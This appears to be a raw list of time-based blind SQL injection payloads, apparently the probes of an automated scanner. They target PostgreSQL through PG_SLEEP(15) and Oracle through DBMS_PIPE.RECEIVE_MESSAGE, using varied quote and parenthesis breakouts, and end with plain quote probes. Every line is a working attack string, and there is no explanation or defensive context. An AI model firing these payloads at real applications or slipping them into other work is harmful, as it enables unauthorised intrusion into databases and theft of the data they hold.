555-1)) OR 734=(SELECT 734 FROM PG_SLEEP(15))--

555DdRjWXiQ' OR 830=(SELECT 830 FROM PG_SLEEP(15))--

555ssYKczw7') OR 427=(SELECT 427 FROM PG_SLEEP(15))--

5553PwJZ9g0')) OR 654=(SELECT 654 FROM PG_SLEEP(15))--

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

(select DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15) from dual)

555

555'"